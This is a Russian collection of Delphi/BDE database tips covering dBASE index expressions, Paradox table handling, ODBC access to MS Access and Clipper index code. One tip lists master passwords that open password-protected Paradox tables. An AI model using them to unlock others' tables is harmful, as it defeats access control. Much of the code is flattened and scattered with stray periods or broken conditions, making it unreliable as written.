В отличие от самого dBASE, такие индексы, основанные на нескольких полях, ограничены использованием таких же полей в таблице. dBASE допускает создание индексов, основанных на нескольких полях, содержищихся в другой таблице. Это позволяет во время создания индекса иметь открытую только "другую" таблицу или использовать таблицу, содержащую индекс.

У индексов с несколькими полями для других типов таблиц (например, Paradox и InterBase), используемые поля должны быть разделены точкой с запятой (;), как показано ниже:

LastName;FirstName.

В выражениях индекса dBASE, в которых конкатенируются несколько полей, фактическое выражение должно выглядеть следующим образом:

LastName + FirstName.

При создании индексных выражений, которые конкатенируют два и более поля, все включенные поля должны иметь одинаковый тип. К тому же, если они должны конкатенироваться, вместо складывания, то все поля должны иметь тип String. Например, для двух целочисленных полей, Value1 и Value2, выражение индекса...

Value1 + Value2.

...не вызовет ошибку. Но в этом случае произойдет конкатенация двух значений полей и они суммируются. Таким образом, если Value1 для данной записи содержало 4, а Value2 - 5, результирующий индексный узел будет целой величиной 9, а не строковой конкантенацией "45".

Если поля, включенные в выражение индекса, имеют не строковый тип, они должны быть преобразованы. Вот некоторые функции dBASE, преобразовывающие различные типы данных к строковому типу для использования в выражениях индекса:

STR( [, [, ]]).

Преобразовывает dBASE-тип Float или Numeric в Character (String).

DTOS().

Преобразовывает значение Date к Character, формат YYYYMMDD.

MLINE(, ).

Извлекает отдельную строку из Memo-поля как значение Character.

Другое ограничение при создании индексов путем конкантенации нескольких полей - максимально допустимая длина индексной величины. Величина, возвращаемая индексным значением, не может превышать 100 символов. Это предел длины значения, возвращаемого выражением, не длина самого выражения. Например, вы не можете создать индекс путем конкантенации двух полей, если они оба имееют длину 255 символов.

Индексные выражения на основе модификации значений полей.

Дополнительно к созданию индексов, основанных на конкатенации значений двух и более полей, также возможно создать индекс, основанный на модификации значений полей. Примером этого может служить создание индекса на основе первых трех символов поля типа String, года и месяца поля с типом Date, индекс с использованием конкантенации полей с типами String и Date, где значение поля типа String отсортировано по возрастающей, а поле, имеющим тип Date - по убывающей, и даже создание индекса на основе поля с логическим типом.

Создание индексов на основе модификации значений полей требует, по крайней мере, практическое знание функций dBASE и синтаксиса, поскольку данная технология использует dBASE, а не функции и синтаксис Delphi. Функция dBASE SUBSTR() извлекает подстроку из поля типа String. Delphi-эквивалент данной dBASE-функции - Copy. Но только dBASE функция SUBSTR() может применяться при создании индексного выражения dBASE.

Использование фунций dBASE в индексных выражениях dBASE заключается в простом включении в индексное выражение функции, использование в функциях dBASE-синтаксиса и имени (имен) поля (полей), использующихся в функциях. Например, индексное выражение на основе трех последних символов значения поля типа String с именем Code, имеющим длину 20 символов выглядит так:

RIGHT(Code, 3).

Важно соблюдение следующего правила: конструкции индексных выражений dBASE, модифицирующих значения полей, должны возвращать величину с "последовательной длиной" для каждой записи таблицы, т.е. результат не должен содержать граничных пробелов. Например, функция dBASE TRIM() удаляет граничные пробелы (ASCII код 32) из значения поля типа String. Если это было использовано вместе с конкантенацией двух полей, имеющих тип String, где поле не имеет постоянной длины для разных записей, длина результирующего значения будет различная для всех записей. В свете этого рассмотрим следующий пример: построим индексное выражение на основе конкантенации полей LastName и FirstName field, где функция TRIM() применена к полю LastName:

TRIM(LastName) + FirstName.

Данное выражение не возратит значения "последовательной длины" для всех записей. Если поля LastName и FirstName содержали значения...

LastName FirstName.

-------- ---------

Smith Jonas.

Wesson Nancy.

...то результат использования индексного выражения может быть таким:

SmithJonas.

WessonNancy.

Как вы можете наблюдать, длина значения первого поля равна 10 символов, тогда как второго - 11 символов. Узлы индекса для данного индексного выражения должны базироваться на значении поля первой ненумерованной записи. Следовательно, результат выражения индекса для каждого узла должен быть равен 10 символов. В нашем примере результат вычисления для второй записи округляется до "WessonNanc". Все это приводит к тому, что поиск, основанный на поиске полных значений в полях, окончится неудачей.

Решение это дилеммы кроется в не использовании функции TRIM(), а в использовании полной длины значений поля LastName, включая граничные пробелы. В индексах, которые используют функции IIF() для установления порядка одного поля или другого, основанных на сравнении логических выражений в IIF(), если два поля имеют различную длину, более короткое поле должно быть заполнено пробелами до длины большей области. Для примера, создавая индекс с использованием функции IIF(), и индексируя поля Company или Name, базирующийся на поле Category, и где поле Company длиной 40 символов, а поле Name длиной 25 симловов, поле Name необходимо дополнять 15-ю пробелами; например, с помощью dBASE-функции SPACE(). Выражение индекса в этом случае будет таким:

IIF(Category = "B", Company, Name + SPACE(15)).

Поиск и выражения индексов dBASE.

Выражения индексов dBASE являются исключениями из правил в том, как они обрабатываются Delphi и BDE, по сравнению с обработкой индексов таблиц другого типа, также основанных на множестве полей.

Это вынуждает вынести dBASE-индексы в отдельный класс. Обработка таких индексов в Delphi и BDE отличается от обработки индексов для других типов таблиц. Одно из самых существенных различий заключается в том, что не все поисковые инструменты, основанные на индексах и использующие синтаксис Delphi, могут использовать выражения индексов dBASE. FindKey, FindNearest и GotoKey методы компонента TTable не годятся для работы с выражениями индексов. При попытке использования FindKey вы получите сообщение об ошибке: "Field index out of range." (Индекс поля за границами диапазона). При попытке использования метода GotoKey может произойти та же ошибка, или табличный курсор может остаться на месте (визуально искомая величина не найдена). С выражениями индексов может использоваться только метод GotoNearest. Но даже GotoNearest может не работать с некоторыми индексными выражениями. Только с помощью эксперимента можно установить - работает ли метод GotoNearest с данным индексным выражением.

Фильтрация индексных выражений dBASE.

Как и основанный на индексах поиск, индексные выражения dBASE при использовании фильтров Delphi также имеют некоторые исключения.

С активным индексным выражением метод SetRange компонента TTable приводит к следующей ошибке: "Field index out of range." (Индекс поля за границами диапазона). Тем не менее, с тем же активным индексным выражением методы SetRangeStart и SetRangeEnd успешно фильтруют набор данных.

Например, выражение индекса с конкантенацией поля LastName и активного FirstName, в приведенном ниже коде, использующем метод FindKey (предполагающий фильтрацию тех записей, где первый символ поля LastName содержит "S"), "вылетит" с ошибкой:

Code: Begin. Table1.SetRange(['S'], ['Szzz']). End;

Формат и размер dBase-поля.

Code: Procedure GetdBaseFieldTypes(t: TTable; var l: TStringList); Var. PF: pFLDDesc; CProps: CURProps; P: pFLDDesc; I: Byte; W: Word; S: string; Oldmode: LongInt; Begin. Check(DbiGetCursorProps(t.Handle, cProps)); Check(DbiGetProp(hDBIObj(t.Handle), curXLTMODE, oldmode, SizeOf(LongInt), w)); Check(DbiSetProp(hDBIObj(t.Handle), curXLTMODE, LongInt(xltNONE))); Try. If MaxAvail < (cProps.iFields * SizeOf(FLDDesc)) then. Raise EOutofMemory.Create('Недостаточно памяти для процесса'); GetMem(pF, (cProps.iFields * SizeOf(FLDDesc))); Check(DbiGetFieldDescs(t.Handle, pF)); P := pF; For i := 1 to cProps.iFields do. Begin. With p^ do. Begin. S := IntToStr(iFldNum) + ' : ' + StrPas(szName) + ' : '; Case iFldType of. FldDBCHAR: Begin { Char string, строка символов }. S := s + 'CHARACTER(' + IntToStr(iUnits1) + ')'; End; FldDBNUM: Begin { Number, число }. S := s + 'NUMBER(' + IntToStr(iUnits1) + ',' + InttoStr(iUnits2) + ')'; End; FldDBMEMO: Begin { Memo (blob), МЕМО-BLOB-поле }. S := s + 'MEMO'; End; FldDBBOOL: Begin { Logical, лочическая величина }. S := s + 'LOGICAL'; End; FldDBDATE: Begin { Date, поле даты }. S := s + 'DATE'; End; FldDBFLOAT: Begin { Float, числа с плавающей точкой }. S := s + 'FLOAT(' + IntToStr(iUnits1) + ',' + InttoStr(iUnits2) + ')'; End; FldDBLOCK: Begin { Логический тип LOCKINFO }. S := s + 'LOCKINFO'; End; FldDBOLEBLOB: Begin { OLE object (blob), OLE-объект, BLOB-поле }. S := s + 'OLE'; End; FldDBBINARY: Begin { Binary data (blob), двоичные данные, BLOB-поле }. S := s + 'BINARY'; End; Else. S := s + 'НЕИЗВЕСТНО'; End; End; L.Add(s); Inc(p); End; Finally. Check(DbiSetProp(hDBIObj(t.Handle), curXLTMODE, oldmode)); FreeMem(pF, (cProps.iFields * SizeOf(FLDDesc))); End; End;

Восстановление записи dBase.

Code: Function GetTableCursor(oTable: TTable): hDBICur; Var. SzTable: array[0..78] of Char; Begin. StrPCopy(szTable, oTable.TableName); DbiGetCursorForTable(oTable.DBHandle, szTable, nil, Result); End; Function dbRecall(oTable: TTable): DBIResult; Begin. Result := DbiUndeleteRecord(GetTableCursor(oTable))); End;

Пример вызова TUTILITY DLL из Delphi?

Code: Var. Session: hTUses; I: integer; ErrorCode: word; ResultCode: word; Procedure BdeError(ResultCode: Word); Begin. If ResultCode <> 0 then. Raise Exception.CreateFmt('BDE ошибка %x', [ResultCode]); End; Begin. Try. BdeError(DbiInit(nil)); BdeError(TUInit(@Session)); For i := 1 to High(TableNames) do. Begin. WriteLn('Проверка ' + TableNames[i]); ResultCode := TUVerifyTable(Session, @TableNames[i, 1], szPARADOX, 'TABLERRS.DB', nil, TU_Append_Errors, ErrorCode); BdeError(ResultCode); If ErrorCode = 0 then. WriteLn('Успешно'). Else. WriteLn('ОШИБКА! -- Для информации смотри TABLERRS.DB!'); WriteLn(''); End; Finally. BdeError(TUExit(Session)); BdeError(DbiExit); End; End.

Ввести пароль Paradox.

Как мне при соединении с таблицей Paradox устранить/"удовлетворить" окошко с требованием ввести пароль, защищающей таблицу?

Свойство компонента Table ACTIVE должно быть установлено в FALSE. (Если она активна прежде, чем вы ввели пароль, вы получите это окошко.) Затем поместите следующий код в обработчике события формы OnCreate:

Session.AddPassword('Мой секретный пароль');

Table1.active := true;

©Drkb::02946.

Взято из Советов по Delphi от Валентина Озерова.

Сборник Kuliba.

Печать структуры таблицы Paradox.

Code: Procedure TForm1.Button1Click(Sender: TObject); Const. FieldTypes: array[0..16] of string[10] = ('Unknown', 'String', 'Smallint', 'Integer', 'Word', 'Boolean', 'Float', 'Currency', 'BCD', 'Date', 'Time', 'DateTime', 'Bytes', 'VarBytes', 'Blob', 'Memo', 'Graphic'); Var. I, nX, nY, nHeight, nWidth: Integer; RtxtMetric: TTextMetric; S: array[0..3] of string[10]; Begin. With Table1.FieldDefs, Printer do. Begin. Update; PrinterIndex := -1; Title := 'Структура ' + Table1.TableName; BeginDoc; NX := 0; NY := 0; WinProcs.GetTextMetrics(Canvas.Handle, rtxtMetric); NHeight := rtxtMetric.tmHeight; NWidth := rtxtMetric.tmAveCharWidth; For i := 0 to Count - 1 do. Begin. S[0] := IntToStr(Items[i].FieldNo) + #9; S[1] := Items[i].Name + #9; S[2] := FieldTypes[Ord(Items[i].DataType)] + #9; S[3] := IntToStr(Items[i].Size); Canvas.TextOut(nX, nY, s[0]); Inc(nX, Length(s[0]) * nWidth); Canvas.TextOut(nX, nY, s[1]); Inc(nX, Length(s[1]) * nWidth); Canvas.TextOut(nX, nY, s[2]); Inc(nX, Length(s[2]) * nWidth); Canvas.TextOut(nX, nY, s[3]); NX := 0; NY := i * nHeight; End; EndDoc; End; End;

Изменение месторасположения *.NET-файла.

Кто-нибудь знает как изменить месторасположение файла PDOXUSRS.NET во время выполнения программы?

DbiSetProp(hSessionHandle, sesNetFile, pchar('c:\newdir'));

Для получения дескриптора сеанса, если вы используете сессию по умолчанию, необходимо вызвать DbiGetCurrSession .

- Scott Frolich.

©Drkb::02531.

Взято из Советов по Delphi от Валентина Озерова.

Сборник Kuliba.

Вскрытие запароленной таблицы Paradox.

Предупрежден - значит, вооружен. Берем Парадоксовскую табличку, паролим ее самым секретным паролем, бумажку с паролем сжигаем, а сам пароль забываем. Что теперь делать? Да ничего, просто открываем нашу табличку с одним из паролей: jIGGAe, nx66ppx, cupcdvum. Один, да подойдет.

©Drkb::02948.

Взято из Советов по Delphi от Валентина Озерова.

Сборник Kuliba.

If you forget your paradox table password, try out.

On of these passwords, it works well.

For PARADOX 7.0 use this password: "jIGGAe" or "cupcdvum".

For PARADOX 5.0 use this password: same thing.

For PARADOX 4.x (DOS) use this password: "nx66ppx".

©Drkb::02949.

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php.

Размеры полей таблицы Paradox.

Данная общая информация могла бы быть полезной при вычислении максимального размера записи для установки размера каждого блока.

Требования к предельным размерам типов полей таблицы Paradox.

Данный список указывает количество байт каждого типа поля таблицы Paradox, занимаемое в структуре записи. Имейте в виду, что указанный размер занимает каждое поля в самом файле .DB, не во вспомогательных файлах типа .MB.

Тип данных Байт.

-----------------------------------------------------------

Alphanumeric 1 байт на символ, до 255.

AutoIncrement 4 байта.

Binary (BLOB) 10 байт + 1 на символ. В пределе.

(0 - 240) [1].

Bytes 1 на символ, максимально до 255.

BCD 17.

Currency (Денежный) 8.

Date 4.

Formatted Memo 10 байт + 1 на символ. В пределе.

(0 - 240).

Graphic 10 байт + 1 на символ. В пределе.

(0 - 240).

Memo 10 байт + 1 на символ. В пределе.

(1 - 240) [2].

Logical 1.

LongInt 4.

Numeric (Числовой) 8.

OLE 10 байт + 1 на символ. В пределе.

(0 - 240).

SmallInt 2.

Time 4.

TimeStamp 8.

Пределы:

Maximum Field Count : 255 полей.

(максимальное количество.

Полей).

Maximum Blocks per table : 64К.

(максимальное количество.

Блоков в таблице).

Maximum Block Size : 32К символов.

(максимальный размер.

Блока).

Max Record Size, unkeyed : Текущий размер блока - 6 байта [3].

(максимальный размер.

Записи, неключевой).

Max Record Size, keyed : (BlockSize - 6) / 3, округляется в меньшую сторону.

(максимальный размер до ближайшего размера блока. [4].

Записи, ключевой).

Сноски:

[1] Все blob-поля содержат 10-байтовые указатели на .MB-файл, которые указывают где могут быть найдены "остальные" значения поля.

[2] В отличие от данных "blob"-типа, Memo-поле требует по крайней мере один "Memo"-символ, сохраненный в .DB-файле, для обеспечения совместимости с Paradox for DOS.

[3] Размер блока по умолчанию хранится в IDAPI.CFG. Для изменения значения по умолчанию, запустите Configuration Utility и измените установку Tables, Paradox, Block Size. Значение по умолчанию 2048 и может изменяться в диапазоне от 1024 до 32К. 6 байтов в данном значении резервируются для внутренних указателей.

[4] Это следствие наличия значений ключа записей Paradox, которые передаются в .PX файл, очень похожий на табличный файл. Размер ключа не может превышать 1/3 размера блока таблицы; в противном случае Paradox будет пытаться увеличить размер блока. При выполнении вычислений не забывайте брать в расчет 6-байтные указатели.

- John B Moore.

©Drkb::02950.

Взято из Советов по Delphi от Валентина Озерова.

Сборник Kuliba.

Использование таблиц Access при помощи ODBC.

Из приложений Delphi вы можете получить доступ к .MDB-файлам Microsoft Access, используя драйверы ODBC. Delphi действительно может дать все необходимое, но некоторые вещи не столь очевидные. Вот шаги для достижения вашей цели.

Что вам нужно: Первое: проверьте, установлен ли ODBC Administrator (файл ODBCADM.EXE в WINDOWS\SYSTEM, вам также необходим файл DBCINST.DLL для установки новых драйверов и ODBC.DLL). Администратор ODBC должен присутствовать в Панели Управления в виде иконки ODBC. Если у вас его не было, то после установки Delphi он должен появиться. Если вы получаете сообщение типа "Your ODBC is not up-to-date IDAPI needs ODBC greater then 2.0", у вас имеется старая версия администратора и вы должны обновить ее до версии, включенной в поставку Delphi. Проверьте, имеете ли вы доступ к драйверу Access ODBC, установленному в Windows. Вы можете сделать это, щелкнув на "Drivers" в диалоговом окне "Data Sources", появляющемся при запуске ODBC Administrator. Delphi должна в диалоге добавить пункты Access Files (*.mdb) и Access Data (*.mdb), работающие с файлами Access 1.10 и использующие драйвер SIMBA.DLL (имейте в виду, что для данного DLL необходимы также файлы RED110.DLL и SIMADMIN.DLL, устанавливаемые для вас Delphi). Данные файлы должны поставляться с дистрибутивом вашей программы как часть ReportSmith Runtime библиотеки. Если вы хотите работать с файлами Access 2.0 или 2.5, вам необходимо иметь другой набор драйверов от Microsoft. Ключевой файл - MSAJT200.DLL, также необходимы файлы MSJETERR.DLL и MSJETINT.DLL. В США набор ODBC Desktop Drivers, Version 2.0. стоит $10.25. Он также доступен в январском выпуске MSDN, Level 2 (Development Platform) CD4 \ODBC\X86 как часть ODBC 2.1 SDK. Очевидно есть обновление этих драйверов для файлов Access 2.5 на форуме MSACCESS CompuServe. Имейте в виду, что драйвер Access ODBC, поставляемый с некоторыми приложениями Microsoft (например, MS Office) могут использоваться только другими MS-приложениями. К сожалению, они могут сыграть с вами злую шутку: сначала заработать, а потом отказать в совершенно неподходящий момент! Поэтому не обращайте внимания (запретите себе обращать внимание!) на строчку "Access 2.0 for MS Office (*.mdb)" в списке драйверов ODBC Administrator. Вы можете установить новые ODBC драйверы с помощью ODBC Administrator в Панели Управления.

Добавление источника данных ODBC (Data Source): если у вас имеются все необходимые файлы, можете начинать. Представленный здесь пример использует драйвер Access 1.10, обеспечиваемый Delphi. Используя ODBC Administrator, установите источник данных для ваших файлов Access: щелчок на кнопке "Add" в окне "data sources" выведет диалог "Add Data Source", выберите Access Files (*.mdb) (или что-либо подходящее, в зависимости от установленных драйверов). В диалоге "ODBC Microsoft Access Setup" необходимо ввести имя в поле "Data Source Name". В данном примере мы используем "My Test". Введите описание "Data Source" в поле Description. Щелкните на "Select Database" для открытия диалога "Select Database". Перейдите в директорию, где хранятся ваши Access .MDB-файлы и выберите один. Мы выберем файл TEST.MDB в директории C:\DELPROJ\ACCESS. Нажмите OK в диалоге "Setup". Теперь в списке источников данных (Data Sources) должен появиться "My Test" (Access Files *.mdb). Нажмите Close для выхода из ODBC Administrator. Используя этот метод, вы можете установить и другие, необходимые вам, источники данных.

Настройка Borland Database Engine: загрузите теперь Borland Database Engine (BDE) Configuration Utility. На странице "Drivers" щелкните на кнопке New ODBC Driver. Имейте в виду, что это добавит драйвер Access в BDE и полностью отдельное управление дополнительно к драйверам Access в Windows, устанавливаемым при помощи ODBC Administrator. В открывшемся диалоге Add ODBC Driver в верхнем поле редактировании введите ACCESS (или что-то типа этого). BDE автоматически добавит на первое место ODBC_. В combobox, расположенном немного ниже, выберите Access Files (*.mdb). Выберите Data Source в следующем combobox (Default Data Source Name), это должен быть источник данных, который вы установили с помощью ODBC Administration Utility. Здесь можно не беспокоиться о вашем выборе, поскольку позднее это можно изменить (позже вы узнаете как это можно сделать). Нажмите OK. После установки драйвера BDE, вы можете использовать его более чем с одним источником данных ODBC, применяя различные псевдонимы (Alias) для каждого ODBC Data Source. Для установки псевдонима переключитесь на страницу "Aliases" и нажмите на кнопку "New Alias". В диалоговом окне "Add New Alias" введите необходимое имя псевдонима в поле "Alias Name". В нашем примере мы используем MY_TEST (не забывайте, что пробелы в псевдониме недопустимы). В combobox Alias Type выберите имя ODBC-драйвера, который вы только что создали (в нашем случае ODBC_ACCESS). Нажмите OK. Если вы имеете более одного ODBC Data Source, измените параметр ODBC DSN ("DSN" = "Data Source Name") в списке "Parameters" псевдонима на подходящий источник данных ODBC Data Source, как установлено в ODBC Administrator. Имейте в виду, что вы не должны ничего добавлять в параметр Path (путь), так как ODBC Data Source уже имеет эту информацию. Если вы добавляете параметр Path, убедитесь, что путь правильный, в противном случае ничего работать не будет! Теперь сохраните конфигурацию BDE, выбирая пункты меню File|Save, и выходите из Database Engine Configuration Utility.

В Delphi: Создайте новый проект и расположите на форме компоненты Table и DataSource из вкладки Data Access палитры компонентов. Затем из вкладки Data Controls выберите компонент DBGrid и также расположите его на форме. В Table, в Инспекторе Объектов, назначьте свойству DatabaseName псевдоним MY_TEST, установленный нами в BDE Configuration Utility. Теперь спуститесь ниже и раскройте список TableName. Вас попросят зарегистрироваться в базе данных Access MY_TEST. Обратите внимание, что если бюджет не установлен, то User Name и Password можно не заполнять, просто нажмите на кнопку OK. После некоторой паузы раскроется список, содержащий доступные таблицы для ODBC Data Source указанного псевдонима BDE. Выберите TEST. В DataSource, в Инспекторе Объектов, назначьте свойству DataSet таблицу Table1. В DBGrid, также в Инспекторе Объектов, назначьте свойству DataSource значение DataSource1. Возвратитесь к таблице, и в том же Инспекторе Объектов установите свойство Active в True. Данные из таблицы TEST отобразятся в табличной сетке. Это все! Одну вещь все-таки стоит упомянуть: если вы создаете приложение, использующее таблицы Access и запускаете его из-под Delphi IDE, то при попытке изменения данных в таблице(ах) вы получите ошибку. Если же вы запустите скомпилированный .EXE-файл вне Delphi (предварительно Delphi закрыв), то все будет ОК. Сообщения об ошибках ODBC, к несчастью, очень туманные и бывает достаточно трудно понять его источник в вашем приложении, в этом случае проверьте установку ODBC Administrator и BDE Configuration Utility, они также могут помочь понять источник ошибки. Для получения дополнительной информации обратитесь к ODBC 2.0 Programmer's Reference или SDK Guide от Microsoft Press (ISBN 1-55615-658-8, цена в США составляет $24.95). В этом документе вы получите исчерпывающую информацию о возможных ошибках при использовании Access-файлов посредством ODBC. Также здесь вы можете найти рапорты пользователей о найденных ошибках, в том числе и при использовании Delphi. Более того, я выяснил, что большинство описанных проблем возникает при неправильных настройках ODBC, т.е. те шаги, которые я описал выше. Надеюсь, что с развитием технологии доступа к базам данных такие сложности уйдут в прошлое. Кроме того, имейте в виду, что если вам необходимо создать новую таблицу Access 1.10, вы можете воспользоваться Database Desktop, включаемый в поставку Delphi.

Авторы данной технологии Ralph Friedman (CompuServe 100064,3102), Bob Swart и Chris Frizelle.

Взято из Советов по Delphi от Валентина Озерова.

Сборник Kuliba.

Может кто-нибудь, предпочтительно из персонала Borland, ПОЖАЛУЙСТА, дать мне ПОЛНЫЙ рассказ о том, как с помощью Delphi и сопутствующего программного обеспечения получить доступ и работать с базами данных MS Access. Среди прочего, мне необходимо узнать...

Нижеследующая инструкция в точности повторяет ту технологию, с которой я работаю на данный момент, надеюсь, что это поможет.

Драйвер ODBC, предусмотренный для доступа к Access 2.0, разработан только для работы в пределах среды Microsoft Office. Для работы со связкой ODBC/Access в Delphi, вам необходим Microsoft ODBC Desktop Driver kit, part# 273-054-030, доступный через Microsoft Direct за $10.25US (если вы живете не в США, воспользуйтесь службой WINEXT). Он также доступен в январском выпуске MSDN, Level 2 (Development Platform) CD4 \ODBC\X86 как часть ODBC 2.1 SDK. Имейте в виду, что смена драйверов (в частности Desktop Drivers) может негативно сказаться на работе других приложений Microsoft. Для информации (и замечаний) обращайтесь в форум WINEXT.

Также вам необходимы следующие файлы ODBC:

Минимум:

ODBC.DLL 03.10.1994, Версия 2.00.1510.

ODBCINST.DLL 03.10.1994, Версия 2.00.1510.

ODBCINST.HLP 11.08.1993.

ODBCADM.EXE 11.08.1993, Версия 1.02.3129.

Рекомендуется:

ODBC.DLL 12.07.1994, Версия 2.10.2401.

ODBCINST.DLL 12.07.1994, Версия 2.10.2401.

ODBCINST.HLP 12.07.1994.

ODBCADM.EXE 12.07.1994, Версия 2.10.2309.

Нижеследующие шаги приведут вас к искомой цели:

1. Используя администратора ODBC, установите источник данных (datasource) для вашей базы данных. Не забудьте задать путь к вашему mdb-файлу. Для нашего примера создайте источник с именем MYDSN.

2. Загрузите утилиту BDE Configuration.

3. Выберите пункт "New Driver".

4. Назначьте драйверу имя (в нашем случае ODBC_MYDSN).

5. В выпадающем списке драйверов выберите "Microsoft Access Driver (*.mdb)

6. В выпадающем списке имен выберите MYDSN

7. Перейдите на страницу "Alias" (псевдонимы).

8. Выберите "New Alias" (новый псевдоним).

9. Введите MYDSN в поле имени.

10. Для Alias Type (тип псевдонима) выберите ODBC_MYDSN.

11. На форме Delphi разместите компоненты DataSource, Table, и DBGrid.

12. Установите DBGrid1.DataSource на DataSource1.

13. Установите DataSource1.DataSet на Table1.

14. Установите Table1.DatabaseName на MYDSN.

15. В свойстве TableName компонента Table1 щелкните на стрелочку "вниз" и вы увидите диалог "Login". Нажмите OK и после короткой паузы вы увидите список всех имен ваших таблиц. Выберите одно.

16. Установите свойство Active Table1 в True и данные вашей таблицы появятся в табличной сетке.

Примечание Vit: с появлением и продвижением микрософтом OLE DB и реализацией в Дельфи ADO (начиная с версии 5.0) работа с MS Access через ODBC перестала быть актуальной. За исключением особых случаев рекомендуется пользоваться именно ADO линейкой компонентов для связи с MS Access.

©Drkb::02753.

Как узнать версию ADO?

Code: { With different versions of MDAC available it is sometimes. Useful to know that your application won't fail because a user. Hasn't got the latest version installed. The following function returns the ADO version installed, You need to place ComObj in the uses clause to use this function. } Function GetADOVersion: Double; Var. ADO: OLEVariant; Begin. Try. ADO := CreateOLEObject('adodb.connection'); Result := StrToFloat(ADO.Version); ADO := Null; Except. Result := 0.0; End; End; // To use this function try something like: Procedure TForm1.Button1Click(Sender: TObject); Const. ADOVersionNeeded = 2.5; Begin. If GetADOVersion then. ShowMessage('Need to install MDAC version 2.7'). Else. ShowMessage(Format('ADO Version %n, is OK', [GetADOVersion])); End;

Работа с индексами Сliрреr'а.

Посылаю кое-что из своих наработок:

NtxRO - Модуль чтения clipper-овских индексов. Удобен для доступа к данным.

Clipper приложений. Предусмотрено, что программа может работать с.

Индексом даже если родное приложение производит изменение в индексе.

NtxAdd - Средство формирования своих Clipper подобных индексов. Индексы.

НЕ БУДУТ ЧИТАТЬСЯ Clipper-приложениями (кое-что не заполнил в.

Заголовке, очень было лениво, да и торопился).

До модуля удаления из Индекса ключей все никак не дойдут руки. Меня очень интересуют аналогичные разработки для индексов Fox-а Кстати реализация индексов Clipper наиболее близка из всех к тому, что описано у Вирта в "Алгоритмах и структурах данных".

Я понимаю, что мне могут возразить, что есть дескать Apollo и т.п., но я считаю что предлагаемая реализация наиболее удобна ТАК КАК ИНДЕКСЫ НЕ ПРИВЯЗАНЫ К НАБОРУ ДАННЫХ (а лишь поставляют физические номера записей) это позволяет делать кое-какие фокусы (например перед индексацией преобразовать значение какой нибудь функцией типа описанной ниже, не включать индексы для пустых ключевых значений в разреженных таблицах, строить индексы контекстного поиска, добавляя по нескольку значений на одну запись, строить статистики эффективности поиска различных ключевых значений (для фамилии Иванов например статистика будет очень плохой) и т.п.).

В файле Eurst.inc функция нормализации фамилий (типа Soundex) В основном это ориентировано на фамилии нашего (Татарстанского) региона.

Файл Eurst.inc.

Code: Var vrSynonm: integer = 0; VrPhFine: integer = 0; VrUrFine: integer = 0; VrStrSyn: integer = 0; Function fContxt(const s: ShortString): ShortString; Var i: integer; R: ShortString; C, c1: char; Begin r := ''; C1 := chr(0); For i := 1 to length(s) do. Begin. C := s[i]; If c = 'Ё' then c := 'Е'; If not (c in ['А'..'Я', 'A'..'Z', '0'..'9', '.']) then c := ' '; If (c = c1) and not (c1 in ['0'..'9']) then continue; C1 := c; If (c1 in ['А'..'Я']) and (c = '-') and (i < length(s)) and (s[i + 1] = ' ') then. Begin. C1 := ' '; Continue; End; R := r + c; End; Procedure _Cut(var s: ShortString; p: ShortString); Begin. If Pos(p, s) = length(s) - length(p) + 1 then. S := Copy(s, 1, length(s) - length(p)); End; Function _PhFace(const ss: ShortString): ShortString; Var r: ShortString; I: integer; S: ShortString; Begin r := ''; S := ANSIUpperCase(ss); If length(s) < 2 then. Begin. Result := s; Exit; End; _Cut(s, 'ЕВИЧ'); _Cut(s, 'ОВИЧ'); _Cut(s, 'ЕВНА'); _Cut(s, 'ОВНА'); For i := 1 to length(s) do. Begin. If length(r) > 12 then break; If not (s[i] in ['А'..'Я', 'Ё', 'A'..'Z']) then break; If (s[i] = 'Й') and ((i = length(s)). Or (not (s[i + 1] in ['А'..'Я', 'Ё', 'A'..'Z']))) then continue; {ЕЯ-ИЯ Андриянов}. If s[i] = 'Е' then. If (i > length(s)) and (s[i + 1] = 'Я') then s[i] := 'И'; {Ж,З-С Ахметжанов}. If s[i] in ['Ж', 'З'] then s[i] := 'С'; {АЯ-АЙ Шаяхметов}. If s[i] = 'Я' then. If (i > 1) and (s[i - 1] = 'А') then s[i] := 'Й'; {Ы-И Васылович}. If s[i] in ['Ы', 'Й'] then s[i] := 'И'; {АГЕ-АЕ Зулкагетович, Шагиахметович, Шадиахметович}. If s[i] in ['Г', 'Д'] then. If (i > 1) and (i < length(s)) then. If (s[i - 1] = 'А') and (s[i + 1] in ['Е', 'И']) then continue; {О-А Арефьев, Родионов}. If s[i] = 'О' then s[i] := 'А'; {ИЕ-Е Галиев}. If s[i] = 'И' then. If (i > length(s)) and (s[i + 1] = 'Е') then continue; {Ё-Е Ковалёв}. If s[i] = 'Ё' then s[i] := 'Е'; {Э-И Эльдар}. If s[i] = 'Э' then s[i] := 'И'; {*ЯЕ-*ЕЕ Черняев}. {(И|С)Я*-(И|С)А* Гатиятуллин}. If s[i] = 'Я' then. If (i > 1) and (i < length(s)) then. Begin. If s[i + 1] = 'Е' then s[i] := 'Е'; If s[i - 1] in ['И', 'С'] then s[i] := 'А'; End; {(А|И|Е|У)Д-(А|И|Е|У)Т Мурад}. If s[i] = 'Д' then. If (i > 1) and (s[i - 1] in ['А', 'И', 'Е', 'У']) then s[i] := 'Т'; {Х|К-Г Фархат}. If s[i] in ['Х', 'К'] then s[i] := 'Г'; If s[i] in ['Ь', 'Ъ'] then continue; {БАР-БР Мубракзянов}. If s[i] = 'А' then. If (i > 1) and (i > length(s)) then. If (s[i - 1] = 'Б') and (s[i + 1] = 'Р') then continue; {ИХО-ИТО Вагихович}. If s[i] in ['Х', 'Ф', 'П'] then. If (i > 1) and (i < length(s)) then. If (s[i - 1] = 'И') and (s[i + 1] = 'О') then s[i] := 'Т'; {Ф-В Рафкат}. If s[i] = 'Ф' then s[i] := 'В'; {ИВ-АВ Ривкат см. Ф}. If s[i] = 'И' then. If (i < length(s)) and (s[i + 1] = 'В') then s[i] := 'А'; {АГЕ-АЕ Зулкагетович, Сагитович, Сабитович}. If s[i] in ['Г', 'Б'] then. If (i > 1) and (i < length(s)) then. If (s[i - 1] = 'А') and (s[i + 1] in ['Е', 'И']) then continue; {АУТ-АТ Зияутдинович см. ИЯ}. If s[i] = 'У' then. If (i > 1) and (i < length(s)) then. If (s[i - 1] = 'А') and (s[i + 1] = 'Т') then continue; {АБ-АП Габдельнурович}. If s[i] = 'Б' then. If (i > 1) and (s[i - 1] = 'A') then s[i] := 'П'; {ФАИ-ФИ Рафаилович}. If s[i] = 'А' then. If (i > 1) and (i < length(s)) then. If (s[i - 1] = 'Ф') and (s[i + 1] = 'И') then continue; {ГАБД-АБД}. If s[i] = 'Г' then. If (i = 1) and (length(s) > 3) and 